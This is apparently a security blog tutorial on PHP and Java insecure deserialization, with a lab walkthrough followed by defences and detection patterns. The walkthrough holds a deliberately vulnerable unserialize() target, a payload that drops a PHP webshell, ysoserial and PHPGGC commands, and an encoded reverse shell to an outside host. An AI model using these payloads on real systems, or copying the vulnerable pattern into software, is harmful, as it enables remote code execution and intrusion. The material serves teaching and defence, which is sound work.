Insecure Deserialization: Exploiting PHP and Java Object Injection

Web Exploitation
Time it takes to read this article 5 minutes.

Legal & Ethical Disclaimer: This article is for education and authorized security testing only. Deserialization attacks frequently result in full remote code execution. Run these techniques exclusively against systems you own or have explicit written permission to test. Unauthorized use is illegal in most jurisdictions.

Introduction

Insecure deserialization is one of the highest-impact and most misunderstood vulnerability classes in web security. It sits in the OWASP Top 10 ("A08:2021 – Software and Data Integrity Failures") and maps to MITRE ATT&CK T1190 (Exploit Public-Facing Application). The reason it is so dangerous is simple: serialized objects encode not just data but behavior, and when an application reconstructs attacker-controlled objects, it can be coerced into running code that was never intended to execute.

In this article you'll learn how object injection works in both PHP (unserialize) and Java (ObjectInputStream), how magic methods and gadget chains turn a harmless-looking byte stream into remote code execution (RCE), how to weaponize ysoserial, and—just as importantly—how to detect and defend against it.

How It Works

Serialization converts an in-memory object into a transportable byte stream; deserialization rebuilds the object. The danger arises during reconstruction, when the runtime invokes lifecycle hooks automatically.

PHP

PHP's unserialize() instantiates objects and triggers magic methods:

  • __wakeup() — called immediately after an object is unserialized.
  • __destruct() — called when the object is garbage-collected.
  • __toString() — called when an object is treated as a string.

If any of these methods, in any autoloadable class, performs a sensitive action using object properties the attacker controls, you have a POP (Property-Oriented Programming) chain. A serialized PHP object looks like this:

O:4:"User":1:{s:8:"username";s:5:"admin";}
Plaintext

The O:4:"User" part forces PHP to instantiate the User class. An attacker who controls the input controls the class name, property names, and property values.

Java

Java serializes objects implementing java.io.Serializable. During ObjectInputStream.readObject(), methods such as readObject(), readResolve(), and finalize() execute. A gadget chain strings together standard-library or third-party classes (often from Apache Commons Collections, Spring, or Groovy) so that the final link executes Runtime.exec(). The attacker doesn't write a custom payload class on the server—they reuse classes already on the classpath.

Prerequisites / Lab Setup

You will need a Linux test box (or container) and the following tooling:

# PHP with a vulnerable demo endpoint
sudo apt install -y php-cli

# Java toolchain
sudo apt install -y openjdk-11-jdk

# Grab ysoserial (the canonical Java gadget generator)
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# PHP equivalent for generating PHPGGC payloads
git clone https://github.com/ambionics/phpggc.git
Bash

A minimal vulnerable PHP target for the lab:

<?php
class LogFile {
    public $filename = 'app.log';
    public $data = '';
    public function __destruct() {
        file_put_contents($this->filename, $this->data);
    }
}
// VULNERABLE: untrusted input passed straight to unserialize()
unserialize($_COOKIE['session']);
PHP

Attack Walkthrough / PoC

PHP: arbitrary file write to webshell

The LogFile::__destruct() above writes attacker-controlled $data to an attacker-controlled $filename. We craft an object that drops a webshell:

<?php
class LogFile {
    public $filename = '/var/www/html/shell.php';
    public $data = '<?php system($_GET["cmd"]); ?>';
}
echo urlencode(serialize(new LogFile()));
PHP
php exploit.php
# -> O%3A7%3A%22LogFile%22%3A2%3A%7B...%7D

curl 'http://target/index.php' \
  --cookie "session=O%3A7%3A%22LogFile%22%3A2%3A%7B...%7D"

# Trigger the dropped shell
curl 'http://target/shell.php?cmd=id'
# uid=33(www-data) gid=33(www-data) ...
Bash

In real-world applications you rarely find such a convenient class. PHPGGC ships pre-built chains for frameworks like Laravel, Symfony, Monolog, and Doctrine:

# List available gadget chains
./phpggc -l

# Generate a Monolog RCE chain that runs `id`
./phpggc Monolog/RCE1 system id -u | tee payload.txt
Bash

Java: RCE with ysoserial

When a Java endpoint deserializes attacker input (a common pattern with JSESSIONID-style blobs, RMI, JMX, or viewstate-like fields), ysoserial generates a ready-to-fire gadget chain:

# List the gadget chains and the libraries they require
java -jar ysoserial-all.jar

# Generate a CommonsCollections1 payload that runs a reverse shell
java -jar ysoserial-all.jar CommonsCollections1 \
  'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xLzkwMDEgMD4mMQ==}|{base64,-d}|{bash,-i}' \
  > payload.bin
Bash

Deliver the raw bytes to the vulnerable sink:

# Example: HTTP endpoint that base64-decodes and deserializes a parameter
curl -X POST http://target:8080/deserialize \
  -H 'Content-Type: application/octet-stream' \
  --data-binary @payload.bin
Bash

Notable real-world cases that used these primitives include CVE-2015-7501 (Apache Commons Collections via JBoss/WebLogic), CVE-2017-9805 (Apache Struts 2 REST plugin XStream deserialization), and CVE-2021-44228 (Log4Shell), which—while a JNDI/lookup bug—frequently chained into deserialization gadgets for the final RCE.

Attack Flow

Insecure Deserialization: Exploiting PHP and Java Object Injection diagram 1

The diagram shows attacker-controlled serialized bytes flowing into a deserialization sink, where magic methods or a gadget chain pivot to a dangerous function and reach RCE.

Detection & Defense (Blue Team)

Defense must be treated with the same rigor as the attack—deserialization bugs are pre-auth RCE more often than not.

1. Don't deserialize untrusted data. The only fully reliable mitigation. Prefer data-only formats with explicit schemas: JSON, Protocol Buffers, or MessagePack parsed into known structures—never native object serialization for cross-trust-boundary data.

2. Integrity-protect serialized blobs. If you must pass serialized state to a client, sign it with an HMAC and verify before deserializing. PHP example:

$payload = base64_encode(serialize($obj));
$mac = hash_hmac('sha256', $payload, $secretKey);
// On return: verify $mac with hash_equals() BEFORE unserialize()
PHP

3. Restrict allowed classes. In PHP 7+, use the allowed_classes option to reject object instantiation entirely:

// Decodes only scalars/arrays; objects become __PHP_Incomplete_Class
$data = unserialize($input, ['allowed_classes' => false]);
PHP

In Java, deploy a deserialization filter (JEP 290, available from Java 9 and backported to 8u121+):

# JVM-wide allowlist/denylist via system property
java -Djdk.serialFilter='maxbytes=4096;!org.apache.commons.collections.**;java.base/*;!*' -jar app.jar
Bash

Or set it programmatically with ObjectInputFilter.Config.setSerialFilter(...). Libraries like NotSoSerial and SerialKiller provide drop-in agents.

4. Patch and inventory gadgets. Keep Apache Commons Collections, Spring, Groovy, XStream, and Jackson up to date. Many gadget chains were neutralized by upstream patches (e.g., Commons Collections 3.2.2 disabled InvokerTransformer by default).

5. Detection.

  • Network/WAF: alert on the magic bytes AC ED 00 05 (raw Java stream) or the base64 prefix rO0AB in request bodies, cookies, and headers.
  • PHP: regex-monitor for inbound O:\d+:" and a:\d+:{ patterns in untrusted fields.
  • Runtime: watch for unexpected child processes (bash, cmd.exe, sh) spawned by a JVM or PHP-FPM worker—map this to ATT&CK T1059 (Command and Scripting Interpreter).
# Hunt Java-serialized data flowing over the wire (base64 prefix)
grep -rEa 'rO0AB|aced0005' /var/log/nginx/access.log
Bash

For broader exploitation context, see my notes on SSRF exploitation and file upload to RCE, both of which frequently chain with deserialization. If you're building detections, my guide on WAF bypass techniques explains why signature-only rules are insufficient here.

Conclusion

Insecure deserialization converts a data-handling routine into an arbitrary-code execution primitive. In PHP, magic methods like __destruct and __wakeup form POP chains; in Java, readObject ignites library gadget chains generated effortlessly by ysoserial. The recurring lesson across CVE-2015-7501, CVE-2017-9805, and dozens of others is the same: never deserialize untrusted input into native objects. When you cannot avoid it, enforce allowlists, integrity checks, and JEP 290 filters, and instrument your runtime to catch the tell-tale process and byte-pattern signatures.

References

Comments

Copied title and URL